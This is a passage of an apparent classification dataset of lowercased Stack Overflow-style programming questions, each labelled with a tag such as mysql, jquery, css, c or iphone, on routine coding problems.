into `invoice` (`id`) values ( 1 ); insert into `accounting` (`id`  `enclosure_id`  `invoice_id`) values ( 1    1    1 ); </code></pre>  <h1>requests</h1>  <pre><code>delete from `enclosure` where id=1; # row in `invoice` not deleted delete from `accounting` where id=1; # row in `invoice` deleted </code></pre>,mysql
calling a javascript select change from c#  i have javascript function when a control value is changed i am firing a javascript now i wanted to do from c# code.when a value to a control is assigned i wanted it to fire the javascript .please help !!.   <pre><code>function addselecteduser(sender  eventargs) {     var dataitem = eventargs.get_dataitem();      if (dataitem != null) {         // get the selected values         var subscribeduserid = parseint(eventargs.get_value());         var subscribedusertext = eventargs.get_text();         var recipienttype = dataitem.get_attributes().getattribute( recipienttype );          //check if the selected user or group already exists in the selected list         var isexisting = false;         var jsonstring = $get(hdnselectedusersjsonid).value;         var selectedusercoll = new array();         if (jsonstring !=   ) {             selectedusercoll = sys.serialization.javascriptserializer.deserialize(jsonstring);         }          for (j = 0; j &lt; selectedusercoll.length; j++) {             if (selectedusercoll[j].displayid == subscribeduserid &amp;&amp; selectedusercoll[j].recipienttype == recipienttype) {                 isexisting = true;                 break;             }         }          if (isexisting == false) {             //add the selected user or group.             var emptyrecipient = new object();             emptyrecipient.displayid = subscribeduserid;             emptyrecipient.displayname = subscribedusertext;             emptyrecipient.recipienttype = recipienttype;              selectedusercoll.push(emptyrecipient);             $get(hdnselectedusersjsonid).value = sys.serialization.javascriptserializer.serialize(selectedusercoll);             constructtable(false);         }          sender.resetdata();         var divscroll = $get( selectedusersdiv );         divscroll.scrolltop = divscroll.scrollheight;     } }  &lt;tele:autocomplete runat= server  pickervisible= false  id= subscribedusers  height= 100px                                              width= 250px  dropdownwidth= 248px  cssclass= susbscribeduser  pickertooltip= select users or notification groups                                              providertype= instantnotificationusersprovider  matchingtype= contains  controlbehavior= restrictedtodropdown                                              onclientsidecomponentchanged= addselecteduser  autopostback= true   /&gt; </code></pre>,asp.net
"html help: making a live quantity counter  hey so at my work we have an event coming up where we kinda reserve seats for it. it s actually more for us to see how many people are coming to the event and for the people signing up to get an idea of how many seats are open. we want something extremely basic and easy. i will link our current html code to you. if you take a look at it you will see 4  services  with a quantity of 500 each. then an option to select how many seats 1-10. we want the basic function of selecting how many seats you want and for what service then putting in your name  selecting  reserve seats . then the counter would subtract how many seats you selected from that 500 number and keep that number updated for all to see. then at 0 you wouldn t be able to select that service.    in my head its seems very easy  but i suck at html and have no idea how to actually implement that.    thanks in advance!    code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= en &gt;
 &lt;head&gt;
  &lt;meta http-equiv= content-language  content= en-us  /&gt;
  &lt;meta http-equiv= content-type  content= text/html; utf-8  /&gt;
  &lt;title&gt;wildwood calvary chapel - easter seat request form&lt;/title&gt;
  
 &lt;/script&gt;
 &lt;/head&gt;
 &lt;body&gt;
  &lt;font size=+4&gt;&lt;p&gt;&lt;center&gt;wildwood calvary chapel &lt;/center&gt;&lt;/p&gt;&lt;/font&gt; 
  &lt;font size=+3&gt;&lt;p&gt;&lt;center&gt;easter service seats 2017&lt;/center&gt;&lt;/p&gt;&lt;/font&gt;
   &lt;form action= #  method= post  name= ticketform &gt;
    &lt;div&gt;&lt;font size=+2&gt;
               &lt;center&gt;select a service below:&lt;center&gt;&lt;ul&gt;&lt;/h4&gt;
                 &lt;br&gt;
               
     &lt;center&gt;&lt;label for= yellow &gt;&lt;input type= radio  id= yellow  name= service_number  value= 30  /&gt;
          saturday  april 15&amp;nbsp;6:00 pm&amp;nbsp;&amp;nbsp;(500 seats left)&amp;nbsp;&amp;nbsp;
         &lt;/label&gt;&lt;/center&gt;
         &lt;br&gt;
        
        
         &lt;center&gt;&lt;label for= green &gt;&lt;input type= radio  id= green  name= service_number  value= 31  /&gt;
          sunday  april 16&amp;nbsp;8:00 am&amp;nbsp;&amp;nbsp;(500 seats left)&amp;nbsp;&amp;nbsp;
         &lt;/label&gt;&lt;/center&gt;
         &lt;br&gt;
        
        
         &lt;center&gt;&lt;label for= blue &gt;&lt;input type= radio  id= blue  name= service_number  value= 32  /&gt;
          sunday  april 16&amp;nbsp;9:45 am&amp;nbsp;&amp;nbsp;(500 seats left)&amp;nbsp;&amp;nbsp;
         &lt;/label&gt;&lt;/center&gt;
         &lt;br&gt;
        
        
         &lt;center&gt;&lt;label for= red &gt;&lt;input type= radio  id= red  name= service_number  value= 33  /&gt;
          sunday  april 16&amp;nbsp;11:30 am&amp;nbsp;&amp;nbsp;(500 seats left)&amp;nbsp;&amp;nbsp;
         &lt;/label&gt;&lt;/center&gt;
         &lt;br&gt;
        
        &lt;/ul&gt;&lt;/center&gt;&lt;br&gt;
     &lt;/div&gt;
   
   &lt;center&gt;&lt;table&gt;
   &lt;tr&gt;
    &lt;td&gt;
     &lt;label for= request &gt;number of seats:&lt;/label&gt;
    &lt;/td&gt;
   &lt;td&gt;&lt;select id= request  name= request &gt;
     &lt;option value= 1  selected= selected &gt;1&lt;/option&gt;
     &lt;option value= 2 &gt;2&lt;/option&gt;
     &lt;option value= 3 &gt;3&lt;/option&gt;
     &lt;option value= 4 &gt;4&lt;/option&gt;
     &lt;option value= 5 &gt;5&lt;/option&gt;
     &lt;option value= 6 &gt;6&lt;/option&gt;
     &lt;option value= 7 &gt;7&lt;/option&gt;
     &lt;option value= 8 &gt;8&lt;/option&gt;
     &lt;option value= 9 &gt;9&lt;/option&gt;
     &lt;option value= 10 &gt;10&lt;/option&gt;
    &lt;/select&gt;
   &lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
    &lt;td&gt;
     &lt;label for= name &gt;your name:&lt;/label&gt;
    &lt;/td&gt;
    &lt;td&gt;
     &lt;input type= text  id= name  name= name  /&gt;
    &lt;/td&gt;
   &lt;/tr&gt;
   
   
     &lt;tr&gt;
    &lt;td&gt;
     
    &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;input type= submit  name= submit  value= reserve seats  /&gt;&lt;/td&gt;&lt;/tr&gt;</code></pre>
 </div>
 </div>",html
display rich text in android textview <h2>for example this is my rich text</h2>   {\rtf1\fbidis\ansi\ansicpg1252\deff0{\fonttbl{\f0\fswiss\fprq2\fcharset0 candara;}{\f1\fnil\fcharset0 calibri;}{\f2\fnil\fcharset0 candara;}} \viewkind4\uc1\pard\ltrpar\lang1033\f0\fs24 the coefficient of \f1{\pict\wmetafile8\picw397\pich450\picwgoal225\pichgoal255  0100090000037000000000004700000000000400000003010800050000000b0200000000050000 000c0212001000030000001e000400000007010400040000000701040047000000410b2000cc00 11000f000000000011000f0000000000280000000f000000110000000100010000000000000000 000000000000000000000000000000000000000000ffffff00fffe0101fffe0101fffe010111fe 0100bbfe0101d7fe0101effe0101d7fe0111bb02010111b60101ffb60101ff960100ff260001ff fe0001fffe0101fffe0100fffe0101040000002701ffff030000000000 }\f0  in the expansion of \f1{\pict\wmetafile8\picw3466\pich556\picwgoal1965\pichgoal315  010009000003200100000000f700000000000400000003010800050000000b0200000000050000 000c0216008400030000001e0004000000070104000400000007010400f7000000410b2000cc00 150083000000000015008300000000002800000083000000150000000100010000000000000000 000000000000000000000000000000000000000000ffffff00ffffffffffffffffffffffffffff ffffe0010101f3fffffffffffffffffffffffff9ffffe0010101efffffffffffffffffffffffff feffffe0010101dfffffffffffffffffffffffffff7fffe0010101dfffffffffffffffffffffff ffff7fffe0010101bf83ff7fc47fdff11fffefffffffbfffe0010101bfefff7feeffdffbbfffef ffffffbfffe0000101bfefff7ff5ffdffd7fffefffffffbfffe0010101bfefff7ffbffdffeffff efffffffbfffe0010101bfeff007f5fc01fd7ffe00fce73fbfffe0010101bfefff7feeffdffbb8 7feffce73fbfffe0010101bfefff7fc47fdff11b7fefffffffbfffe0010101dfafff7fffffdfff fdffefffffff7fffe0010101dfcfff7fffffdffffeffefffffff7fffe0010101efefffffffffff ffff7ffffffffefff800010101f3fffffffffffffffb7ffffffff9fffda0010101ffffffffffff fffffc7ffffffffffffda0010101fffffffffffffffffffffffffffff81ca0010101ffffffffff fffffffffffffffffffff920010101ffffffffffffffffffffffffffffffffe0010001ffffffff ffffffffffffffffffffffffe0010101040000002701ffff030000000000 }\f0  is\f2\fs23\par }   <hr>   i want to display rich text in textview,android
what is the page.responseencoding default value   i knew that what is the purpose of the <a href= http://msdn.microsoft.com/en-us/library/system.web.ui.page.responseencoding%28v=vs.110%29.aspx  rel= nofollow >responseencoding</a>.    and i knew i can set it in the page directive like below.   <pre><code>&lt;%@ page language= c#   responseencoding= utf-8   %&gt; </code></pre>   but what is the default value of it when it is ignored in the page directive  thanks.,asp.net
how can i trim down this code   i have two text files  usernames.txt  and  passwords.txt  and i want to have them print out in a specific order  i have a snippet of code that does exactly what i need but i feel like it can be shortened.   <pre><code>with open( passwords.txt   r ) as f:     for line in f:         for password in line.split():             with open( usernames.txt   r ) as f:                 for line in f:                     for username in line.split():                         print username + : + password </code></pre>   this works perfect for me what i feel like i can make it even shorter!    current output is this:   <pre><code>username1:password username1:password1 username1:password2 username2:password username2:password1 username2:password2 </code></pre>,python
can anyone recommend a book for building enterprise database applications in .net   i ve just returned from a course where we covered some ways to build enterprise applications (including database applications).    in short i ve realised that the way that we have been building our database applications is completely wrong (i won t go into details).    can anyone recommend a reputable book or website that shows me the  best practice  way for building enterprise  scalable database applications in .net     i need this not only to refer to to help me change the way that i m doing things  but also to show my boss to backup the reasons why i think we need to change the way that we do things.,.net
strange fatal error: cannot redeclare class paradox  i get the following error:   <pre><code>fatal error: class  mysql  not found in /home/o </code></pre>   so naturally i include the class  but when i do i get this error:   <pre><code>fatal error: cannot redeclare class </code></pre>   as you can imagine i have no idea how to fix this problem!!    any ideas,php
c# i thought to pass a function using the out parameter  data type void couldn t be used   so on my quiz for my c# course one of the questions was   <blockquote>    how would you declare a function that requires the calling code to modify the original contents of an input parameter   </blockquote>   and for some reason the answer is    <blockquote>    void mystery(out double clue)   </blockquote>   i thought to use the out parameter you must use the same data type as the variable  so like this   <blockquote>    double mystery(out double clue)  </blockquote>,c#
comparing user input with text file  and then outputs only the remaining part of the line  i have a problem when comparing user input to text file line  it goes all right until when i want to output that all line  it only outputs remaining part of the line  when finding match. this is small part of airport project that i need to finish for school  but i keep strugling on this problem! so i hope someone can help me. text file is this   <ol> <li>latvija/riga | boeing-45 | riga - maskava | 20.02.2018 <strong>/ 15:55 | r-126 |</strong></li> <li>latvija/riga | boeing-45 | riga - helsinki | 25.02.2018 / 15:55 | r-127 |</li> <li>latvija/riga | boeing-45 | riga - amerika | 20.02.2018 <strong>/ 15:55 | r-129 |</strong></li> <li>latvija/riga | boeing-45 | riga - berline | 20.02.2018 <strong>/ 15:55 | r-134 |</strong></li> <li>latvija/riga | boeing-45 | riga - maskava | 25.02.2018 / 15:55 | r-166 |</li> </ol>   bold text is what it outputs as you can see in this image    <a href= https://i.stack.imgur.com/qhgc9.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qhgc9.png  alt= enter image description here ></a>    but i need it to output these text lines like this when i input date 20.02.2018   <ol> <li>latvija/riga | boeing-45 | riga - maskava | 20.02.2018 / 15:55 | r-126 |</li> <li>latvija/riga | boeing-45 | riga - amerika | 20.02.2018 / 15:55 | r-129 |</li> <li>latvija/riga | boeing-45 | riga - berline | 20.02.2018 / 15:55 | r-134 |</li> </ol>   heres the code    <pre><code> ifstream myfile; myfile.open( statistika.txt   ios::app);  string datums; string item; string teksts; cout &lt;&lt; ievadi velamo lidosanas datumu:   &lt;&lt; endl; cin &gt;&gt; datums; while(!myfile.eof()){         myfile &gt;&gt; item;         if(item==datums){             getline(myfile  teksts);             cout &lt;&lt; teksts &lt;&lt;endl;         }     } </code></pre>,c++
exporting random rows to excel file based on int value  so i have my report printing out exactly what i want (almost).  now i just have to get one feature finished.  i have a number that is generated and placed into a variable called percentage.    percentage equals the the rounded number of all the licenses in the database that allattendeelicensenos pulls in multiplied by the number that is entered in by the user multiplied .01 to make it a percentage.     so my goal is to see all the attendees  and say okay this person only wants a percentage of them  but it doesn t matter which ones so i am going to grab random rows until the percentage number is there.    again  please be patient as i am very new to c# and am learning.   <pre><code>        var percentage = math.round(allattendeelicensenos.count() * percentage * 0.01);          var allattendeedata = _mii.licenseerecords.where(r =&gt; allattendeelicensenos.contains(r.licensenumber)).where(i =&gt; i.licensestatus.equals(chosenlicensestatus)).tolist();          var retval = _mapper.map&lt;list&lt;dlilicense&gt;  list&lt;randomauditviewmodel&gt;&gt;(allattendeedata);          using (var exs = new excelpackage())         {             var worksheet = exs.workbook.worksheets.add( randomauditreport );             var row = 1;             var col = 1;              var properties = typeof(randomauditviewmodel).getproperties();             foreach (var field in properties)             {                 worksheet.cells[row  col].style.font.bold = true;                 var displayname = field.getcustomattribute&lt;displayattribute&gt;() != null                       field.getcustomattribute&lt;displayattribute&gt;().getname() :                     field.name;                 worksheet.setvalue(row  col  displayname);                 col++;             }             col = 1;             row++;               retval.foreach(i =&gt;             {                  var periodordinal = _ce.events                     .where(e =&gt; e.attendees.select(a =&gt; a.licensenumber).contains(i.licensenumber))                     .select(e =&gt; e.course.certificationperiod)                     .orderby(p =&gt; p.startdate)                     .tolist()                     .indexof(theperiod) + 1;                  i.metrequirements = determineifcemet(i.licensenumber  i.licensetypecode  i.dateoforiginallicensure  periodordinal  theperiod.id  theperiod.enddate  theperiod.board);                  foreach (var field in properties)                 {                     if (field.getcustomattribute&lt;datatypeattribute&gt;().datatype.equals(datatype.date))                     {                         var value = ((datetime)field.getvalue(i));                         worksheet.cells[row  col].style.numberformat.format =  mm/dd/yyyy ;                         worksheet.cells[row  col].formula =  =date(  + value.year +     + value.month +     + value.day +  ) ;                     }                     else worksheet.setvalue(row  col  field.getvalue(i));                     col++;                 }                 col = 1;                 row++;              });             return exs.getasbytearray(); </code></pre>,c#
order div s by value username value within  i have the following dom structure. each  contactsbodymaindisplaymembercontainerdiv  shows a member photo  name etc.    i need to be able to re-order these containerdiv s by the h2 username a to z.    so the below would need to move the  contactsbodymaindisplaymembercontainerdiv  pieces of dom so it s ordered adam  bob  eric. note: i need to move the whole piece of dom for each user.   <pre><code>&lt;div id= contactsbodymaincontainerdiv &gt;   &lt;div class= contactsbodymaindisplaymembercontainerdiv &gt;   &lt;div class= contactsbodymaindisplaymemberwrapperdiv &gt;    &lt;h2 class= contactsbodymaindisplaymemberusernameh2 &gt;eric&lt;/h2&gt;   &lt;/div&gt;  &lt;/div&gt;   &lt;div class= contactsbodymaindisplaymembercontainerdiv &gt;   &lt;div class= contactsbodymaindisplaymemberwrapperdiv &gt;    &lt;h2 class= contactsbodymaindisplaymemberusernameh2 &gt;adam&lt;/h2&gt;   &lt;/div&gt;  &lt;/div&gt;   &lt;div class= contactsbodymaindisplaymembercontainerdiv &gt;   &lt;div class= contactsbodymaindisplaymemberwrapperdiv &gt;    &lt;h2 class= contactsbodymaindisplaymemberusernameh2 &gt;bob&lt;/h2&gt;   &lt;/div&gt;  &lt;/div&gt;  &lt;/div&gt; </code></pre>   i m unsure how to do this.    note: it need this function as members will be added on the fly.    any advise on how to achieve this,jquery
assembly generation and types question  my app generates a new type foo and writes it to new assembly. then i create an object of type foo and serialize it. if i delete the assembly and recreate it when i try to deserialize the foo object it tells me that cannot convert type foo to type foo. it thinks those are different types. is there a way to fix this      edit: i have no control over the serialization.<br> edit: we found that the version guid is always different. what is this guid and how we can specify it,.net
can i add short video(addvertisement video) before the actual streaming video starts in mpmovieplayerviewcontroller  during streaming video in iphone it takes some time (=10 seconds) to start actual video play back.now i wantuser to watch sme kind of advertisement video in that time.is that possible in mpmovieplayerviewcontroller. thnx in advance,iphone
jquery open div with containing li class= active   i m using this script for toggling/accordioning divs on my website:   <pre><code>&lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js &gt;&lt;/script&gt;  &lt;script type= text/javascript  src= http://www.xyz/js/jquery.smooth-scroll.min.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt; (function($) {      $( #navigation a ).smoothscroll({             easing:  swing          });      $( .project &gt; .title ).click(function(){         /* close */         $(this).parent().siblings().children( .info ).slideup(400);         $(this).parent().siblings().children( .title ).removeclass( flip );         $(this).parent().siblings( .project ).removeclass( open );          /* open */         $(this).toggleclass( flip );         $(this).parent( .project ).toggleclass( open );         $(this).next( .info ).slidetoggle(400  function(){                 var project = $(this).parent( .project );                 $.smoothscroll({                 scrolltarget: project                  easing:  swing                   speed: 400                 });         });     });  })(jquery);  &lt;/script&gt;  </code></pre>   for controlling this html-markup:   <pre><code>&lt;!-- .project --&gt; &lt;div class= project padding group &gt;     &lt;div class= title group limiter &gt;&lt;h3&gt;start&lt;/h3&gt;&lt;/div&gt;      &lt;div class= info group limiter &gt;         &lt;div class= left &gt;         &lt;ul&gt;         &lt;li&gt;&lt;a href= aktuell.html  title= aktuell  &gt;aktuell&lt;/a&gt;&lt;/li&gt;         &lt;li class= active &gt;&lt;a href= jobs.html  title= jobs  &gt;jobs&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= presse.html  title= presse  &gt;presse&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= projekte.html  title= projekte  &gt;projekte&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= archiv.html  title= archiv  &gt;archiv&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;/div&gt;          &lt;div class= right &gt;123&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;  &lt;!-- .project --&gt; &lt;div class= project padding group &gt;     &lt;div class= title group limiter &gt;&lt;h3&gt;company&lt;/h3&gt;&lt;/div&gt;      &lt;div class= info group limiter &gt;         &lt;div class= left &gt;         &lt;ul&gt;         &lt;li&gt;&lt;a href= 1.html  title= 1  &gt;1&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= 2.html  title= 2  &gt;2&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= 3.html  title= 3  &gt;3&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= 4.html  title= 4  &gt;4&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= 5.html  title= 5  &gt;5&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;/div&gt;          &lt;div class= right &gt;123&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   you can see that in the first div there is an <strong>li class= active </strong>. i want to achieve that the <strong>div class  project padding group </strong> which contains an <strong>li class= active </strong> is opened on page-load.    any suggestions on how to make this possible,jquery
appendto does not work as desired  when i say  <code>msg.appendto(ele.parent().next())</code>  the msg successfully gets appended to a <code>&lt;p&gt; with class=foo</code>    how can i specify it explicitly in the statement     i tried <code>msg.appendto(ele.parent().next().find( .foo ));</code>    but it doesn t work,jquery
"how to do i keep a button pressed until another button is pressed   i have different css styles for a button when its state is <code>focus</code> or <code>active</code>. when when i click anywhere within the screen  the button loses its <code>focus</code> / <code>active</code> state. how to do i keep the button pressed until another button is pressed      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>&lt;script&gt;
 function pricetab(tabname) {
     var i;
     var x = document.getelementsbyclassname( tab );
  
  for (i = 0; i &lt; x.length; i++) {
        x[i].style.display =  none ;  
   }
     document.getelementbyid(tabname).style.display =  block ;  
  
 
 }
 &lt;/script&gt;</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.branch_sec_box .button_divbox .button_goto:focus{
  background-color:darkgoldenrod;
  font-weight: 650;
  border:0 none;
  border-radius:12px;
  color:#fff;
  letter-spacing: 5px;
  
  }
 
 .branch_sec_box .button_divbox .button_goto:selected{
  background-color:darkgoldenrod;
  font-weight: 650;
  border:0 none;
  border-radius:12px;
  color:#fff;
  letter-spacing: 5px;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= button_divbox  align= center  style= padding-bottom: 20px &gt;
  
   &lt;button class= button_goto city  style= margin: 20px  onclick= pricetab( pricelist ) &gt;price&lt;/button&gt;
   &lt;button class= button_goto city  style= margin: 20px  onclick= pricetab( package ) &gt;package&lt;/button&gt;
 &lt;button class= button_goto city  style= margin: 20px  onclick= pricetab( treatment ) &gt;treatment&lt;/button&gt;
  &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
how to give double quotes in onclick function of button   after giving double quotes it is showing error    i am using google map api code in infowindow to open a page in iframe on button click.      <pre class= lang-js prettyprint-override ><code>(function(marker  data) {     google.maps.event.addlistener(marker   click   function(e) {       infowindow.setcontent(data.description +  &lt;br&gt;  +          &lt;input type= button  class= class  value= more details  onclick=@ document.getelementbyid( i ).src =  homepage.aspx ;  /&gt;  +         &lt;iframe id= i  style= height:50%;width:100%; &gt;&lt;/iframe&gt; );       infowindow.open(map  marker);     }); </code></pre>,javascript
purpose of using nsurlconnection while calling xml web-service ..   why we are using nsurlconnection object in xml parsing ie.    for eg:   <pre><code>nsurlconnection *theconnection=[[nsurlconnection alloc] initwithrequest:therequest delegate:self];  and then nsurlconnection delegate methods invoked like:  - (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error{     [connection release];     [receiveddata release];  }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response{       [receiveddata setlength:0];  }  - (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data{      [receiveddata appenddata:data];  }  - (void)connectiondidfinishloading:(nsurlconnection *)connection{      if(objnsxmlparser!=nil &amp;&amp; [objnsxmlparser retaincount]&gt;0){         [objnsxmlparser release];         objnsxmlparser = nil;     }      objnsxmlparser = [[nsxmlparser alloc]initwithdata:receiveddata];     objnsxmlparser.delegate=self;     [objnsxmlparser parse];  } </code></pre>   =============================== but we also get data directly by using: no need to initialize nsurlconnection object:   <pre><code>nsdata *dt = [nsdata datawithcontentsofurl:urlname]; </code></pre>   which approach is best  and why,iphone
creating mysql function using date <pre><code>delimiter $$ create function current_age (birthdate date) returns date begin         declare age_return date;         declare rightnow date;         set rightnow = date(now());         set age_return = timestampdiff(year  rightnow  date(birthdate));         return age_return; end  $$ delimiter ;  select current_age(date( 2017-06-30 )); </code></pre>   i am trying to create a function which years the difference in years. i cant get it to work and i dont understand why  because the following works fine outside the function.    <pre><code>set @birthdate =  2001-01-01 ; set @rightnow = date(now()); select timestampdiff(year  @rightnow  date(@birthdate)) </code></pre>,mysql
is there a way to reuse enums in other classes   is there a way to reuse enums in other classes     for example  i have a class using another class s enums. however  i want to avoid having to type the other class s namespace every time i use that class s enums for my active class.,c#
jquery .on() not working with  e   <strong>working</strong>   <pre><code>$( .newbubble ).live( click   function(e){     console.log( clicked ); }); </code></pre>   <strong>not working</strong> (here i want to get e.pagex and e.pagey)   <pre><code>$( .newbubble ).on( click   function(e){     console.log( clicked ); }); </code></pre>   <strong>again working</strong> this one without  e    <pre><code>$( .newbubble ).on( click   function(){     console.log( clicked ); }); </code></pre>   can anyone please help me with this  how can i get e.pagex with <strong>.on()</strong>,jquery
how to render multiple control types in datagridviewcomboboxcell  i m working on a c# winform that uses a datagridview that has a column with multiple datagridviewcell types. e.g.    <pre><code>datagridview dvg = new datagridview(); dgv.columns.add( colctrl    ctrl );  datagridviewcomboboxcell cbocell = new datagridviewcomboboxcell();  textbox txtbox = new textbox(); txtbox.name =  mytextbox ; txtbox.keydown += txtbox_keydown;  cbocell.items.add(txtbox);  datagridviewrow row = new datagridviewrow(); row.cells.add(cbocell);  dgv.rows.add(row);  private void txtbox_keydown(object sender  keyeventargs e) {    datagridviewcomboboxcell cb = (datagridviewcomboboxcell)     ((textbox)sender).parent;    textbox txtbox = (textbox)sender;     if (e.keycode == keys.enter)    {        if (!cb.items.contains(txtbox.text))            cb.items.add(txtbox.text);    } } </code></pre>   the textbox control is not being render to the combobox items collection. its seems to be added when i step through code but it s not showing up. i d basically like to use the textbox to add string items to the my combobox dropdownlist. what am i doing wrong here     thanks in advance  -da,c#
how to apply the background image and text color for cell in the tableview   hi all how is the tableview code for applying  background image and text color white to the cell not for tableview it is only for cell give me the solution in iphone.,iphone
get an int value from a jtable cell  i m writing a program that puts user input values into a jtable  one column holds sitenumber. i need to be able to check if that sitenumber is already used. heres my code for getvalueat().   <pre><code>public object getvalueat(int row  int col) {     switch(col) {     case 0:         return (listsites.get(row).getnamereserving());      case 1:         return (dateformat.getdateinstance(dateformat.short).                 format(listsites.get(row).getcheckin().gettime()));      case 2:         return (listsites.get(row).getdaysstaying());      case 3:         return (listsites.get(row).getsitenumber());      case 4:         if(listsites.get(row) instanceof tent)             return( tents:   + ((tent) listsites.get(row))                     .getnumoftenters());         else             return ( power bought:   + ((rv) listsites.get(row))                     .getpower() +   amps );      default:         return null;     } } </code></pre>   ideally it would be a simple check of if(getvalueat(row  col) == sitenumber)  but this is comparing an object and an integer  and i can t figure out a way around this  this is for a university project so a lot of it isn t my original ideas and i m really just trying to figure out how they want me to do it.    listsites is an arraylist of sites which is my super class.    sorry if i m being stupid but i m really struggling with figuring this out.,java
layout css panel  i have a html page that needs to take up the full height and width of the screen. in short  i m trying to make it look like the following:   <pre><code>--------------------------------------------------------+ |             |                                         | | hello!      |  main content will go here              | |             |                                         | | +---------+ |                                         | | | nav 1   | |                                         | | | nav 2   | |                                         | | | nav 3   | |                                         | | |         | |                                         | | |         | |                                         | | |         | |                                         | | +---------+ |                                         |  |             |                                         | |             |                                         | | footer text |                                         | +-------------+-----------------------------------------+ </code></pre>   my problem is   i can t get the footer text to align against the bottom. at the same time  i can t get the nav 1... navx items to fill the remaining space between the hello text and the footer text. basically  i just need the nav area to fill all remaining space. if there are more items then space  i want to show a scroll bar. currently  i m trying the following (as shown in this <a href= http://jsfiddle.net/83czn/  rel= nofollow >jsfiddle</a>):   <pre><code>&lt;div style= height:100%; padding:0; margin:0; background-color:silver; &gt;     &lt;div class= row &gt;         &lt;div class= small-4 columns &gt;             &lt;div class= row &gt;hello!&lt;/div&gt;             &lt;div class= row &gt;                 &lt;div class= small-12 columns &gt;                     &lt;div style= overflow-y:scroll; &gt;                       &lt;ul class= side-nav &gt;                         &lt;li&gt;&lt;a href= # &gt;link 1&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;link 2&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;link 3&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;link 4&lt;/a&gt;&lt;/li&gt;                       &lt;/ul&gt;                                         &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= row &gt;footer text&lt;/div&gt;         &lt;/div&gt;          &lt;div class= small-8 columns &gt;             main content goes here         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   as the fiddle shows  the nav are doesn t take up all of the remaining space. i feel i should communicate that the jsfiddle uses zurb foundation. however  i am <strong><em>not</em></strong> set on using zurb foundation. so if there is a pure css approach  i m perfectly content with that as an option. thank you so much for your help.,css
menu creation....at the place of dialog box <blockquote>    wanna create menu at the place of delete dialog which will contain open delete etc like options.help me acc.ly.   new to android and java. :)  </blockquote>   <code>new alertdialog.builder(this)</code>    <code>.settitle( confirm restore )</code>     <code>.setmessage( do you want to restore this file  )</code>    <code>.setpositivebutton( ok  </code>     <code>new dialoginterface.onclicklistener() {}</code>,android
c - bus error when tokenizing lines in a file  i m writing a c program to read and tokenise the lines in a file. however  i encounter a bus error when compiling and it has left me stumped after <em>much</em> debugging.    these files have three numbers (of 1-2 digits) separated by a space  as well as an optional asterisk on the end. so:   <pre><code>1 2 4 8 16 32 * 64 1 1 * </code></pre>   this is parsed by:   <pre><code>#define buffer_size 12 #define max_parts 4 #define max_digits 2  int parse(file *file) {     char line[buffer_size];      while (fgets(line  buffer_size  file)) {         char **tokens = tokenize(line);          printf( [%s][%s][%s][%s]\n                  tokens[0]                 tokens[1]                 tokens[2]                 tokens[3]);          // free...     }      // close file  return... } </code></pre>   though i don t think my axillary <code>**tokenize()</code> function is the issue  here it is anyway:   <pre><code>char **tokenize(char line[]) {     char **tokens = (char **)malloc(max_parts * sizeof(char *));     char *token = strtok(line     );     unsigned int n_tokens = 0;      while (token != null &amp;&amp; n_tokens &lt; 4) {         tokens[n_tokens] = (char *)malloc(max_digits + 1 * sizeof(char));         strncpy(tokens[n_tokens]  token  max_digits + 1);          token = strtok(null     );         n_tokens++;     }      return tokens; } </code></pre>   it seems like a problem with <code>parse()</code> passing a broken char array to <code>tokenize()</code>  though i m not sure. still new to c s intricacies :-)    thanks in advance.   <blockquote>    when running <code>gcc *.c -g -fsanitize=leak -fsanitize=address</code> and running   it with <code>./a.out [necessary flags]</code>  the console returns bus error (core   dumped)  </blockquote>,c
multi line dotted or dashed text-underline  because css text underline only allows a solid line and its position is right at the bottom of strings  i m using border-bottom plus a little padding to achieve dotted or dashed text underline.   <pre><code>h2{border-bottom:1px dotted #999; padding-bottom:5px;} </code></pre>   now  the problem is  when the heading (or paragraph  or whatever element) text takes 2 lines or more  the dotted underline simply does what every border does  which is stay on the bottom of the block element. if i use text-underline style  the underline stays with the text  but text-underline only supports a solid line  and as far as i know  no padding.    so how do i display multi line texts with dotted or dashed underline      thanks,css
how to refresh mapview in iphones through objective c  i have a mapview in my application.i have a textfield where i type the location i need..when i press uibutton item named go..it searches and points to the location i have typed in textfield..now i want to refresh the mapview..as in i want the same view which was before i type anything in textfield..how do i do that,iphone
disable logout button at master page header  how to make logout button invisible at master page. when in login page it is no sense to display logout button,asp.net
